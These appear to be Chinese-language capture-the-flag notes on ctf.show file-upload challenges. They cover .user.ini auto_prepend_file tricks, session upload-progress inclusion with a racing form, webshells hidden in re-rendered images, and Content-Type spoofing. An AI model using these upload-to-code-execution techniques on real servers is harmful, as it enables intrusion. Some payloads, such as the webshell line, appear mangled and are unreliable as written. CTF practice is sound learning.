# 即不能包含日志文件,则包含 session 文件
# 上传 .user.iniGIF89aauto_prepend_file=test
# 上传 testGIF89a<?=include"/tmp/sess_test"?>
# 构造 POST 数据包
<!DOCTYPE html>
<html>
<body>
<form action="http://e2f78cd5-b2b8-40b9-8104-7dc18214350b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
# 任意上传文件,抓包修改,PHPSESSID=test,写入代码添入变量 Numbers 爆破
# 访问 /upload/index.php 添入变量 Numbers 同时爆破
二次渲染 Web 164 165
png 图片
# 脚本生成图片上传,访问,命令执行 <?=(GET[0]_POST[1]);?>
# 下载至本地查看(文件包含)
jpg 图片
# 直接上传 jpg 图片,下载回来,使用脚本处理,得到新的 jpg 图片,再次上传
# 下载至本地查看(文件包含)
后缀类型不可猜测时,.zip 文件上传 Web 166
# 上传 .zip 文件抓包 Content-Type:
application/x-zip-compressed# 内容直接是恶意代码
# 找到 .zip 文件路径,进行查看
# 命令执行
免杀 Web 168
前端做后缀检测,后端做不同后缀的 Content-Type 检测,注意抓包后修改 Content-Type 为白名单
留言讨论
0 条留言
正在加载留言...